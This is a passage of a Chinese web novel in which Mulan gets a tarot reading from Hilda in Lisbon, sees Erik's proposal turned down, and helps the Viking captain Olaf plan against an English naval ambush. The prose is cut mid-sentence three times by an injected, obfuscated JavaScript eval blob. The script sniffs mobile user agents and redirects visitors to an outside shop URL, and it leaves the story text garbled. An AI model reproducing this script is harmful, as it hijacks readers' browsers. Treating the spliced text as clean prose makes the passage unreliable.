她说完，忽然愣了一下，然后不好意思地笑了：“啊……我又跑题了。老师总说我思维太发散，明明在说一件事，想着想着就偏到天边去了。” “没事。”木兰说，“我喜欢听。” 随后木兰又补了一句：“估计埃里克也喜欢你这样给他讲故事。” 希尔达的脸颊以肉眼可见的速度红了。她低头用力拧紧药膏罐子，小声嘟囔：“才没有……” 嘴上这么说，希尔达假装调整包扎，手上的动作稍微重了一点，是小小的复仇。 木兰感觉到了。她本已习惯疼痛，但此刻却故意轻轻皱了下眉，低声说：“疼疼疼，我错了。” 希尔达立刻抬头，眼里闪过慌乱：“弄疼了？我看看……” “骗你的。”木兰嘴角极轻微地弯了一下。 希尔达瞪大眼睛，随即又好气又好笑地推了她肩膀一下：“你真是！！！” “好了好了，”她回到正题，“言归正传，为什么你恢复得快？老师说过元素论。她说，人是由许多不同的元素组成的，这些元素可以遗传，但不是每一个都会表现出来。而且元素组合时，偶尔会发生变异。” 她举例子：“所以会有两个矮小的父母，生出一个高大的孩子。或者一个孩子长得既不像父亲也不像母亲，却和外祖母年轻时一模一样。” “这是英吉利学者的研究？”木兰问。 “老师说是她从一些英吉利学者的著作里看到的，不过她也加了自己的理解。”希尔达收拾好坐回椅子上，“她说，永远不要放弃好奇心，永远不要停止探索。” 26 木兰沉默了片刻。然后，她开始讲述海上遇到的那个生物。 她说得很详细。帆布围起的水池，循环的海水，漂浮的鱼块。那个苍白、瘦削、有着非人轮廓的身影缓缓浮上水面。灰绿色的长发，几乎透明的皮肤，颈侧细微开合的鳃裂，指尖半透明的蹼膜。 还有那双眼睛。 “对视的时候，”木兰说，“我感觉不对劲。不是害怕，是实实在在的不对劲。听力变模糊，视线发虚，连自己的呼吸节奏都乱了。那不是我自身的情绪，是那个东西身上散发出来的某种东西影响了我。” 希尔达听完，沉默了很久。 “我听说过。”她终于开口，在犹豫，“但按理说不该出现在这里……它们通常只在自由港联邦附近出没。” “自由港联邦？” “在西边海上，一片没有固定国王、没有统一法律的地方。”希尔达走到书架旁，抽出一本旧羊皮册子，翻到某一页。上面是手绘的简陋地图。“由海盗、逃犯、异端学者和独立城邦组成的松散联盟。传说那里有很多不该存在于常理中的东西。” 她的手指划过地图边缘的注释：“浑身长满眼睛的巨虫，躯干是人，高两米的蜘蛛……老师去过一次，回来说那是规则失效之地，现实世界的边界在那里变得模糊。” “为什么只在那个地方？” “不知道。”希尔达合上册子，“老师说，可能有什么东西把那些生物限制在那里。也许是地形，也许是气候，也许是别的什么。” 木兰没有继续追问。自由港联邦不在她的计划里。她的目标是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081264|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 英吉利，是机器，是议会，是那些能打破故国循环的新东西。人鱼让她震撼，让她恐惧，但那只是插曲。她不想节外生枝。 可另一个念头不受控制地冒出来。 阿银。 她坠江已经两年了。北狄人野蛮，朝廷官员无能，城破之后，她会怎样 “希尔达。”她开口，声音比想象中干涩，“占卜能看别人的近况吗？生死，安危。” 希尔达摇头。“不能看具体宿命，只能感知能量的趋势。而且需要信物作为媒介。” 木兰没有犹豫。她解开外衣，从胸口夹层取出玉簪，放在桌上。 白玉温润，细微的磕痕在灯光下清晰可见。 希尔达怔住了。然后轻轻点头。 “我试试。” 她点燃香炉，一缕青烟袅袅升起。水晶球被仔细擦拭，塔罗牌在深色绒布上摊开。希尔达闭眼片刻，呼吸变得悠长，然后睁开眼，手指抚过牌背。 第一张牌翻开：星星。夜空下，女子跪在湖畔舀水，一颗大星在头顶闪耀，其余七颗小星环绕。画面宁静，充满希望与灵感。 第二张牌：女祭司。女子端坐于石椅，手持卷轴，脚下新月，背后帷幕分隔圣俗。象征直觉、隐秘的知识与内在的智慧。 第三张牌：力量。女子轻柔合上狮子的嘴，姿态从容，头上无限符号永恒旋转。不是蛮力，是以柔克刚的坚韧与心灵的力量。 希尔达看着牌面，良久，轻轻舒了口气。 “无论她是谁，身在何处，”她转向木兰，声音温柔而肯定，“他会比你想象中的更坚强。” “这种力量不是来权力，而是来自深沉的智慧、不灭的希望，以及一种足以驯服命运风暴的温柔坚韧。” 她顿了顿，补充道：“牌面没有死亡或终结的意象。相反，它们暗示着一种持续的内在成长，即使在最黑暗的环境里。” 木兰盯着那三张牌。星星的光芒，女祭司的静默，力量牌的从容。她不懂，但看起来都是挺好的牌，阿银应该也会好好的。但其他的可能。木兰不敢想。也压抑住自己不要去想。 她伸手，收回玉簪，重新贴身藏好。冰凉的玉石很快染上体温。 然后，她拔出腰间的短管手铳，放在桌上。 “这个，”她说，“哪里能弄到火药？” 她没问老费尔南多。那老头路子野，但嘴巴不严。木兰不想惹麻烦。 希尔达拿起手铳，翻来覆去地看。“好漂亮！但我不知道哪里能弄火药。”她想了想，“妈妈可能知道。她认识港口的守卫队长，那些人有时候会私下倒卖军械。” 她放下枪：“你明天再来一趟吧，我问过妈妈后告诉你。” 木兰点头。她站起身，“谢了。” “等等。”希尔达叫住她，从架子上取下一个小陶罐，“新调的伤药，愈合效果更好。记得每天换。” 木兰接过，揣进怀里。她走到门边，手放在门把上，停了一下。 “希尔达。” “嗯？” “埃里克送你琥珀的时候，”木兰没回头，“你该当面谢他。维京人不懂拐弯抹角，你说了，他才知道。” 门开了又关。草药味里混进一丝外面的酒气，然后慢慢沉淀下去。 希尔达站在原地，手里还握着那把短管手铳。银雕在灯光下反射着微光，像深海里的鱼鳞。 她看了很久，然后轻轻放下枪，转身开始整理香料架。 动作很慢，很仔细。 嘴角有一丝自己都没察觉的、温暖的笑意。 17. 北海渡14 自从老费尔南多换了那个能把人晒脱皮的摊位，木兰就不太愿意替他看摊了。 每天正午，老头还是会骂骂咧咧地抱怨几句，说白眼狼翅膀硬了等等，但声音里没什么真正的火气。木兰偶尔在市场里转转，看到有客人对东方漆器或摩尔铜灯感兴趣，便不动声色地引到老费尔南多的新摊位前。老头得了生意，也就闭了嘴。 这天下午，木兰正在一家威尼斯玻璃珠贩子的摊位前，比较两种不同切割面的珠子在光线下的折射差异。她看得很专注，从老费尔南多那学到的门路不多，但却很管用。独眼贴近玻璃表面，试图对比记忆里细微的光路变化。 一只手忽然拍了拍她的左肩。 力道很稳，但控制得很好。木兰直起身，回头。 埃里克站在她身后，红头发在午后的阳光下像一团凝固的火焰。他穿着那件常穿的皮背心，胳膊上新增了一道愈合不久的浅疤。冰蓝色的眼睛看着她，没什么表情，但有种罕见的郑重。 “什么事？”木兰问。 “找个没人的地方。”埃里克说，声音压得很低。 --- 木兰把他带回那个破棚屋。 埃里克在门口停下，高大的身躯堵满整个门框。他低头看了看低矮的门楣，又看了看里面堆满破烂的空间，最终选择在门外，找了一个倒扣的破木盆当凳子。 他坐下去的瞬间，木盆发出不堪重负的“啪嚓”声，彻底裂成几片木板。埃里克整个人往后一仰，重重跌坐在地上。 木兰站在门口，看着这一幕。她嘴角不受控制地抽搐了几下，然后迅速绷紧，恢复成平时的面无表情。 埃里克从地上爬起来，拍了拍裤子上的灰。他没去看那堆碎木片，只是挪了个位置，席地而坐。棚屋外墙阳光正毒辣。 然后，他从怀里掏出一个皮袋。 袋子塞得鼓鼓囊囊。埃里克解开系绳，倒出里面的东西——全是银币。成色很好，在阳光下闪着沉甸甸的冷光。他把银币堆在两人之间的地上，动作很慢，很认真，像在举行什么仪式。 堆完了，他抬起头，看着木兰的眼睛。 “我想求婚。”他说。 木兰僵住了。 不是惊讶，是某种更复杂的停滞。她看着埃里克，看着他那张永远没什么表情的、被海风和刀痕刻出棱角的脸，看着他那双冰蓝色的、此刻异常清澈的眼睛。她的大脑花了几秒钟才处理完这句话的含义。 “你什么意思？”她终于问，声音有点干。 “我要向希尔达求婚。”埃里克说，每个字都清晰得像用斧子砍出来的。 又是一阵沉默。海风从棚屋缝隙里钻进来，吹动地上的灰尘。 “你找她求婚就找她求婚呀。”木兰说，语气里带上了一丝她自己都没察觉的疲惫，“你问我干什么？” “你是女人，”埃里克认真地说，“你了解女人。” 木兰看着他，有那么一瞬间，她很想把手里刚买的玻璃珠子扔到他脸上。 “这些够不够？”埃里克问。 “你自己去问她，”木兰懒得回答，摆了摆手，动作里满是无奈，“你俩亲兄妹一样，总把我当传话筒。” 埃里克没说话，只是看着她。那双眼睛里没什么请求，也没什么期待，就是直直地看着，像在等一个答案。 木兰叹了口气。 “我正好也要去美人鱼酒馆。”她说，“你跟着我吧。” ------ 带着埃里克走在码头区，感觉完全不一样了。 平时木兰一个人走，像一抹融进背景的影子。没人会多看她一眼。 但埃里克不同。 他太高，太壮，红头发像一面移动的旗帜。他走路的姿势带着维京战士特有的、近乎傲慢的沉稳，每一步都踩得很实。沿途的小贩压低了交谈声，搬运工下意识地让开路，几个正在赌骰子的水手停下了手里的动作。 窃窃私语像潮水般蔓延开。 “是海狼号的人……” “那个红头发的，听说在蓟花号上一个人砍了七个……” “离远点，这群疯子……” 木兰听见了。她面无表情地继续走，但能感觉到那些目光像针一样扎在背上。她不再是影子了。她是和维京人走在一起的东方残废，是故事的一部分，是恐怖传说里一个猎奇的角色。 美人鱼酒馆的门被推开时，里面的喧哗停顿了一瞬。 老板娘在走道，手里端着两大杯的啤酒。看到埃里克，她手里的动作停了。粗壮的手臂在桌上一顿放下啤酒，发出巨响，啤酒的泡泡被震得不断涌出。她脸上的笑容也像啤酒泡一样迅速消失。她走到埃里克面前，仰头叉腰看着这个比她高出一大截的维京人。 “我不管你是什么原因来的，”老板娘的声音不容置疑，像硬石头，“离希尔达远一点。” 埃里克没说话。 “你没有能力保护她，”老板娘继续说，每个字都像从牙缝里挤出来的，“你只会给她带来危险。你的船，你的斧子，你那些打打杀杀的理由——除了血和麻烦，还能给她什么？像你一样居无定所？” 老板娘又好像隔着时空，不甘地想喊醒年轻的自己。 埃里克仍然沉默。但木兰能感觉到，这次的沉默和平时不一样。平时他的沉默像一块礁石，坚硬稳固，不可动摇。但此刻，那块礁石上出现了一道裂缝。不是愤怒，是一种近乎颓然的东西。 木兰开口了。 “我是来找希尔达拿东西的，”她说，气氛果然缓和了一些，“偶遇埃里克，他说可以帮我拿一下。” 老板娘转过头，目光落在木兰身上。那双和希尔达一样的翡翠色眼睛里，有审视，有不信任，但最终，还是让开了一步。 “你可以进去，”她对木兰说，然后重新看向埃里克，“他，滚出酒馆。” 埃里克没动。他看了老板娘一眼，又看了木兰一眼，最后，什么也没说，转身推门出去了。 门在他身后关上，酒馆里的喧哗重新响起，但比之前低了一个调子。 --- 希尔达的小房间里弥漫着熟悉的草药香。 她看到木兰进来，脸上露出笑容，但当目光落在木兰空荡的身后时，那笑容淡了一些。 “埃里克他是不是忙……”她欲言又止。 “嗯。”木兰点头，没多解释。 希尔达从架子上取下一个皮质小袋，递给木兰。袋子不重，但里面装的东西很关键——火药，铅弹，还有一小卷用油纸包着的、用于引火的特制绒绳。都是给那把短管手铳用的。 “妈妈说港口守卫队那边有存货，但不多，”希尔达说，“这些应该够你用一阵子了。” 木兰接过袋子，掂了掂，点头。“谢了。” 她转身要走，又停住。犹豫了一下，还是开口：“埃里克有事情想跟你说。” 希尔达愣了一下。“啊，是吗？什么时候呢？” “刚刚他跟我一起进酒馆，”木兰说，“你妈妈不太喜欢他。他出去了。” 希尔达轻轻捂住了嘴。她的眼睛睁大，翡翠色的瞳孔里闪过惊讶、了然，还有一丝难以言喻的急切。然后，几乎是本能地，她快步转身向房间那扇窄小的窗户。 动作熟练得像是做过很多次。 窗户被推开，傍晚的风涌进来，带着海水的咸味。 埃里克站在窗外。 他没走远，只是站在酒馆侧面的巷子里，背靠着斑驳的石墙。夕阳把他的影子拉得很长，他的头发有些凌乱，应该是烦恼时狠狠揉了揉脑袋。 木兰退后一步，让自己完全陷入房间的阴影里。她不想打扰这一刻。 “埃里克。”希尔达呼唤，声音发颤。 埃里克转过头，靠近窗户。 “希尔达。”他的声音从窗外传来，不高，但很清晰，每个字都像凿出来的。 “你愿意嫁给我吗？”他问，直接得没有任何铺垫，“跟我一起走。” 他从怀里掏出皮袋——就是之前在棚屋前给木兰看过的那个。解开系绳，把里面的东西全部倒在窗台上。银币堆成一座小山，在夕阳下闪着温润的光。 然后，他又从怀里掏出另一个更小的袋子。从里面取出的不是银币，而是一枚戒指和一对耳坠。 戒指是银质的，戒面镶嵌着一颗切割粗糙但颜色极纯的蓝宝石，像一小片凝固的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081265|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深海。耳坠是同样的款式，蓝宝石小一些，用细细的银链连着。 埃里克把它们和银币一起，推向窗内的希尔达。 希尔达没有接。 她看着那些东西，看着埃里克摊开手掌上的宝石，看着他那双冰蓝色的、此刻异常专注的眼睛。然后，她抬起目光，对上他的视线。 “埃里克，”她说，声音很轻，但每个字都很清晰，“谢谢你。” “谢谢你每次都来看我，谢谢你……悄悄地帮我教训了那些在巷子里堵我的混混。虽然你从来没说过，但我知道是你。” “我也是维京人，可我从来没有去过故乡。谢谢你给我讲那些北方的故事，我会永远记得峡湾的雾，极夜的光，长船破开冰面的声音。谢谢你给我买的这些小东西，”她的目光扫过架子上的几样小摆件——一块琥珀，一枚刻着卢恩符文的骨片，一小瓶装着北地苔藓的玻璃瓶，“我都很喜欢。” 她顿了顿。 “可是，”她说，声音里带上了一丝颤抖，“我的妈妈……她只有我了。” 这句话像一块石头，沉进两人之间的空气里。 “对不起。”希尔达最后没有解释，声音轻得像叹息。 窗外的埃里克没有收回手。 他甚至没有动。那双冰蓝色的眼睛看着希尔达，看着她翡翠的瞳孔，看着她微微发红的眼眶。然后，他做了一个让所有人都没想到的动作——他把东西往前又推了推，几乎要掉进窗内。 “你留着。”他说，声音比刚才更低，但更坚定，“这不够，我知道。” 希尔达愣住了。 “等我再跑几趟，”埃里克继续说，语速不快，却好像下了某种决心。“有了足够的钱。你要是喜欢里斯本，我们就住在这里。你要是想走老师的路，想去看更多地方，学更多东西。我们可以去英吉利住一段时间。或者别的地方，哪里都行。” 他顿了顿，补充道：“我会保护你。用命。” 窗边的希尔达猛地转过身。 她背对着窗户，肩膀开始轻微地颤抖。木兰看到她抬起手，死死捂住自己的嘴，努力把那些即将冲破喉咙的声音压回去。但眼泪不受控制地涌出来，大颗大颗地顺着脸颊滑落，滴在亚麻袍子的前襟上，晕开深色的水渍。 窗外，埃里克的声音再次传来。 “希尔达。” 希尔达没有回头，但她停住了哭泣，肩膀的颤抖也慢慢平复。她在听。 “过几天我要走了，”埃里克说，“你保重。” 没有更多的告别，没有承诺，没有追问。只有这句话，像他这个人一样，简单，直接，沉重。 脚步声响起，渐渐远去。 希尔达仍然背对着窗户，站了很久。然后，她慢慢转过身，走到窗边。巷子里已经空了，只有夕阳把石板路染成一片暖金色。 她抬起手，轻轻关上窗户。锁扣发出轻微的“咔哒”声。 房间里重新安静下来。草药香，水晶球的微光，架子上的瓶瓶罐罐。一切如常，又好像什么都不一样了。 木兰从阴影里走出来，走到希尔达身边。她没说话，只是递过去一块干净的布巾。 希尔达接过，擦了擦脸。她的眼睛还是红的，但已经不再流泪。 “谢谢。”她低声说。 木兰点头，拿起那个装火药的皮袋，转身走向房门。 手放在门把上时，她听到希尔达的声音从身后传来： “林。” 木兰回头。 希尔达站在房间中央，夕阳最后的光从窗户缝隙漏进来，照在她脸上。红红的眼睛，但眼神很清澈，很坚定。 “帮我告诉他，”她说，“一路平安。” 木兰突然想起来，当初阿银也是这么说。 不过这两人，又把她当传声筒了。 木兰点了点头。门开了，又关了。 房间里只剩下希尔达一个人。她走到架子前，拿起那个装着北地苔藓的小玻璃瓶，握在手里。苔藓在瓶底蜷成一团，颜色是熟悉的、遥远的灰绿。 窗外，港口的钟声敲响。一下，两下，三下。 日子像码头潮水，涨了又退，退了又涨。 18. 北海渡15 里斯本的黄昏是咸的。 风从大西洋深处刮来，木兰把最后一块油布盖在老费尔南多的货堆上。八个月了，从听不懂一句话的哑巴，到能在市场里用破碎的句子讨价还价。现在，该走了。 海狼号泊在码头最西侧的深水区。船帆挂着那头发黑的血狼。奥拉夫说，三天后启航北上。 她走向码头北侧的木屋区。 还没走到门口，就听见里面传来争吵声。 声音很大，用的是维京语。木兰听不懂具体词句，但能分辨出两个声音——一个是奥拉夫粗粝的咆哮，另一个更急促，像刀刮铁板。 她停在门外三步远的地方。 --- “……你现在在葡萄牙！这个中立的地方！英军确实不好插手！但是一旦你出海——” “我也没看他们来抓我！” 木屋里，奥拉夫双手撑在摊开的海图前，对面的男人矮半个头，但更精壮，红褐色的头发编成细辫，脸上有一道从眉骨划到下巴的旧疤。他叫托尔格，奥拉夫的表兄，在里斯本经营了十二年维京和葡萄牙贸易的中间人。 “没来抓你？”托尔格冷笑，手指重重戳在海图上北海的位置，“因为他们要等你出海！等你离开中立港口！等你的消息在海上传开！” 奥拉夫抓起桌上的木杯灌了一口。“来就来，怕过谁。” “怕过谁？”托尔格声音陡然拔高，“你知不知道血染纹章这件事流传得多广？英吉利那些贵族老爷现在每天睡觉前都要检查三次门窗！恐慌！你制造了恐慌！” “恐慌？”奥拉夫把杯子砸在桌上，“他们杀了哈拉尔！砍下他的头颅带回英吉利，挂在狩猎厅里当战利品的时候，怎么没人说恐慌？！”他喘着粗气，“那个叫理查的杂种，靠着哈拉尔的头盔升了爵位！现在他死了，血债血还，这叫公平！” 托尔格闭上眼，深吸一口气：“听着。英军并不是要剿灭维京人。毕竟我们也帮他们处理过脏事。”他顿了顿，“他们只是要惩戒性的表演一下。安抚他们的贵族。” 奥拉夫盯着他。 “表演。”他重复这个词，语气里带着一种冰冷的嗤笑，“所以我要配合他们，演一场海狼号被英勇的英吉利海军打败了的戏码？让那些老爷们晚上能睡个安稳觉？” “这是生存，奥拉夫！不是下跪！” “这和下跪有什么区别？！” 吼声震落屋顶灰尘。 托尔格脸上的肌肉抽搐。他猛地转身，一脚踹在木门上。 门向外炸开。 木兰正站在门外。 --- 托尔格的动作快得像捕食的鲛鲨。他根本没看清门外是谁，左手已经探出，五指钳住木兰的喉咙，把她整个人按在对面仓库的木板墙上，后背撞硬出沉闷的响声。 “找死？”声音贴在耳边，带着酒气和杀意，“谁派你来的？” 手指在收紧。气管被压迫，空气瞬间稀薄。木兰的独眼对上托尔格那双布满血丝的眼睛——那里面没有疑惑，只有纯粹的、条件反射般的暴力。在里斯本这种地方，偷听者等同于间谍，而间谍的下场只有一种。 她没有挣扎。左手垂在身侧，手指微微弯曲。靴筒里的匕首离掌心只有三寸。 “托尔格！” 奥拉夫从屋里冲出来，大手抓住托尔格的手腕。“放手！她是我的人！” “你的人？”托尔格没松劲，目光在木兰脸上刮过。东方面孔，独眼，空荡的右袖，粗劣的亚麻衣服上沾着码头永远洗不净的鱼腥和尘土。“奥拉夫，你招人真是不挑。”他嗤笑，但手指松开了。 空气涌进肺部，木兰咳嗽起来，左手捂住脖颈。皮肤上已经留下清晰的指印。 “她叫林。”奥拉夫站到两人中间，“海狼号的战士。” “战士？”托尔格上下打量木兰，最后目光停在她空荡的右袖上，讽刺几乎要溢出来。但他没再说什么，只是狠狠瞪了奥拉夫一眼：“管好你的战士。这事没完，我晚点再来——如果那时你还没被英吉利的炮轰成碎片。” 他转身消失在货箱阴影里。 奥拉夫啐了一口。然后他转头看向木兰：“你听见了？” 木兰放下手，喉咙还在疼，说话声音有些沙哑：“听不懂。” “进来。” --- 木屋里拥挤。墙上钉着几张磨损严重的海图，桌上堆着空酒瓶、吃剩的鱼骨头、几把待磨的短斧。空气里汗臭味很浓。唯一的窗户用油布封着，映着屋内昏黄模糊的光。 奥拉夫踢开凳子，坐回桌后。他抓起酒瓶灌了一口，瓶子推给木兰，木兰没接。 “那你听着。” 奥拉夫用简短的葡萄牙语复述了争执的要点：托尔格的警告，英军的表演，以及他拒绝妥协。 木兰站在桌边，看着墙上那些海图——北海、英吉利海峡、波罗的海入口，一些航线用炭笔做了标记。 “我本来打算，”她开口，声音已恢复平稳，“等你们北上回家的时候，在英吉利沿岸下船。” 奥拉夫抬起眼皮。 “现在看来，”木兰继续说，“这艘船成了靶子。” “怕了？”奥拉夫咧开嘴，笑容里没什么温度，“你现在下船还来得及。码头每天都有商船往东走，回你的老家去。” 木兰没接话。她走到墙边，看标注最细的那张海图。那是英吉利南岸到北海的航线，几个岛屿被画了圈。 “英吉利海军需要一场惩戒表演，”她说，手指虚点其中一个岛屿，“但不想真的撕破脸。否则来的不会是警告，而是舰队。” 奥拉夫灌着酒。“他们也来不了，这里毕竟是葡萄牙。” “刚才那个人，”木兰转过身，“托尔格。他能接触到英吉利高层的消息？” “他？”奥拉夫哼了一声，“就只能葡萄牙宫廷里他能说上话。维京人的毛皮，英吉利的火药，葡萄牙的橄榄油——只要是能赚钱的，他都有门路。” “那他不仅是来警告你的，”木兰走回桌边，“也是来谈条件的。英吉利方面需要什么？一条不会公开的道歉？一笔赔偿？还是别的什么？” 奥拉夫重重放下酒瓶：“维京人不下跪，不赔钱。” “那就给他们一个更大的面子。”木兰的声音平静，“一场艰难但正义的斗争。让他们既能安抚贵族，又觉得你依然可控。” 屋子里安静了几秒。只有港口的浪声从木板缝隙渗进来。 奥拉夫身体前倾：“说清楚。” “如果我是英吉利指挥官，”木兰伸出左手食指，在地图灰尘上划线，“接到惩戒海狼号的任务，我会选远离主要航线的海域，比如这里，设得兰群岛附近。那里靠近苏格兰，政治环境模糊，适合灰色行动。” 奥拉夫看着那条线。 “其次，”木兰又划了一条与之交叉的短线，“不会出动主力舰队。那太显眼，也容易引发全面冲突。更可能是一支由两到三艘快速战舰组成的小分队。不过指挥官，要注意一下年龄。” “这有什么关系？” “如果是经验丰富的老将，会明白这种任务的政治性质。做戏而已，不会真的拼命。”木兰抬起眼，“但年轻贵族不同。他需要一场漂亮的胜利来晋升，他会认真打。” 奥拉夫沉默着，手指摩挲酒瓶粗糙的边缘。 “所以关键不是输赢，”木兰继续说，“而是怎么打才能让双方都有台阶下。输者，不能输得太难看。赢者，也不能太轻松。” “你的意思是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081266|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，”奥拉夫缓缓道，“我们要配合他们演戏？” “不。”木兰摇头，“我的意思是，我们要在戏开演之前，改剧本。” --- 门外传来码头的钟声。已经入夜了。 奥拉夫点了第二盏鲸油灯。光影摇曳，把两人的影子投在斑驳的木板墙上，扭曲拉长。 “改剧本。”他重复，“怎么改？” “情报。”木兰说，“托尔格能弄到伏击舰队的具体消息吗？指挥官是谁？有几艘船？火力配置？计划在哪个海域动手？” “他不一定肯。” “那就给他一个无法拒绝的理由。”木兰走到窗边，用手指挑开油布一角。外面港口灯火星星点点，更远处的大海一片漆黑。“告诉他，如果海狼号被轻易剿灭，英吉利下一个要规范的，就是其他不听话的维京船队。维持一个强大的、但懂得规矩的海狼号，对灰色地带的生存，才是长期利益。” 奥拉夫盯着她的背影。这个独臂独眼的东方人站在昏光里，身形瘦削。但她说出的话，却像老兵在沙盘前推演战局。 “你以前到底干什么的？”他问。 木兰放下油布，转过身。“学过规矩。” 奥拉夫没再追问。他盯着海图看了很久，最后终于，从桌下拖出一个木箱，打开。里面是散乱的文件——货单、借据、几封用维京语写的信。他翻找了一会儿，抽出一张质地较好的羊皮纸，上面用炭笔画着简易的北海地图，几个地点标注着日期。 “托尔格上次来，提到过一件事。”奥拉夫把羊皮纸推到桌子中央，“英吉利海军最近在朴茨茅斯港集结了一支小舰队，旗舰是猎隼号，指挥官叫阿瑟·切斯特顿，一个子爵，很年轻。他们对外宣称是北海例行巡逻。” 木兰走过来，俯身看那张图。 “托尔格说，切斯特顿的家族在议会里有些影响力，但最近生意不顺，需要军功来稳固地位。”奥拉夫的手指按在“朴茨茅斯”那个标记上，“他主动接了这个任务。” “主动。”木兰端详，“必会率先发难。” “什么鸟语？所以？” “所以我们要比他更早动手。”木兰直起身，“如果知道他们的计划，我们可以提前遭遇并重创其先遣队，然后迅速脱离。让切斯特顿在主力赶到前就失去追击能力，或者让他觉得继续追下去的代价太高。” 奥拉夫皱眉：“代价？” “比如，在战斗中意外俘获他们一个重要人物。或者让他最重要的战舰暂时失去动力。”木兰静静看着海图。 “然后让他们掳获我们几个活口，给他们带话，海狼号知道这是谁指使的，也知道这只是做戏。若逼得太紧，下次血涂的就不只是纹章。” “埃里克适合这个角色。”木兰说，“他身手好，位置靠前，容易制造意外被围的假象。而且，” “而且什么？” “而且如果真出意外，他是桨手长，价值够高，英吉利会想活捉而非当场杀死。”木兰看着奥拉夫，“但我不保证绝对安全。战场上没有绝对。” 屋子里再次安静下来。 奥拉夫盯着木兰，眼神复杂。他想起码头巷战里那具被割开喉咙的尸体，想起她握着哈拉尔盾牌时平静的表情。现在，她又说出这番话。冷静，残酷，充满算计。 这不是维京人的方式。维京人崇尚正面搏杀，荣耀在刀斧碰撞中获取。但这种阴冷的、像毒蛇般瞄准关节咬下去的策略…… “你很擅长这个。”奥拉夫说。 “我擅长活下去。”木兰回答。 港口钟声又响了。这次是警钟，可能有船只失火，或者发现海盗。远处喧哗，但很快平息。 奥拉夫最终点了点头：“明天。明天我去找托尔格。” 19. 北海渡16 第二天清晨，木兰在码头南侧空地看见埃里克。 红发年轻人正在磨长矛矛尖。磨石划过钢铁，发出规律而刺耳的声音。他做得很专注，直到木兰走近到三步之内，才抬起头。 “林。”他点头，手上没停。 木兰在旁边木桩坐下。海风从东边吹来，带着里斯本城区早市开始的热闹气息，烤面包的焦香、煎鱼的油腥、还有牲口粪便的臭味。 “奥拉夫说你昨天去找他了。”埃里克说。 “嗯。” “托尔格在？” “在。” 埃里克停下磨刀，转头看她：“他们吵得很凶。” “我听见了。” 两人沉默。码头工人开始卸货，号子声粗哑有力。 “你怎么想？”埃里克问。 木兰看着海面。早晨的光线在海浪上碎成无数片银箔，刺得她左眼那片薄翳后的世界更加模糊。“英吉利海军会设伏。在北海。” 埃里克没表现出惊讶。他重新开始磨矛尖，动作比刚才慢了些：“奥拉夫打算怎么办？” “他会去找托尔格谈。” “谈什么？” “谈怎么活下去。”木兰说，“也谈怎么不让兄弟们白白送死。” 埃里克沉默了很久。磨石的声音停了又起，起了又停。最后他说：“如果需要有人去冒险，应该是我。” 木兰转头看他。 “我是桨手长。”埃里克说，“冲锋的时候在最前面。撤退的时候在最后面。这是我的位置。” “没人应该去死。”木兰说。 埃里克笑了笑“这是海狼号。每次升起船帆，都可能有人回不来。我们都知道。” 他把磨好的长矛举到眼前，对着阳光检查刃口。钢铁反射的光在他脸上划过一道冷白。 “但如果是为哈拉尔报仇，”他说，“值得。” --- 托尔格的仓库在里斯本港西北角，离主码头有段距离。这里建筑更稀疏，地面没铺石板，雨季时会变成烂泥塘。仓库是用旧船木板和石头垒成的，很大，门口挂着一块没有任何标记的木牌。 奥拉夫带着木兰走进去时，里面堆满了货箱和麻袋。空气中漂浮着灰尘和香料混合的辛辣气味。几个工人正在清点一批刚从非洲运来的象牙，看见奥拉夫，只是点头继续干活。 托尔格在最里面的隔间。他坐在一张巨大的橡木桌后，桌上摊开着账本和几封拆开的信。窗户很高很小，光线昏暗，他点着三盏油灯。 看见奥拉夫，他皱起眉。看见奥拉夫身后的木兰，眉头更紧。 “我说了晚点找你。”托尔格说，视线没离开账本。 “等不及了。”奥拉夫拉过一张椅子坐下，椅子腿在石板地上刮出刺耳的声音，“我们需要谈谈。” “谈什么？谈你怎么带着整个维京族群往火坑里跳？” 奥拉夫没接话，他看向木兰。 木兰往前走了一步，站在油灯光圈的边缘。她没看托尔格，而是看着桌上那些账本——纸张很厚，墨迹工整，旁边放着精致的黄铜计算器。 “切斯特顿，”她开口，声音在空旷的仓库里显得格外清晰，“他的舰队什么时候出发？” 托尔格终于抬起头。“你怎么知道这个名字？” “你告诉奥拉夫的。”木兰说，“在朴茨茅斯港集结，旗舰猎隼号，对外宣称北海例行巡逻。” 托尔格眯起眼。他看向奥拉夫：“你什么都跟她说？” “她说得对。”奥拉夫身体前倾，手肘撑在桌上，“我们需要知道具体情报。时间，地点，兵力。” “然后呢？去送死？”托尔格冷笑，“奥拉夫，我昨天说的还不够清楚？这是政治！不是打架！” 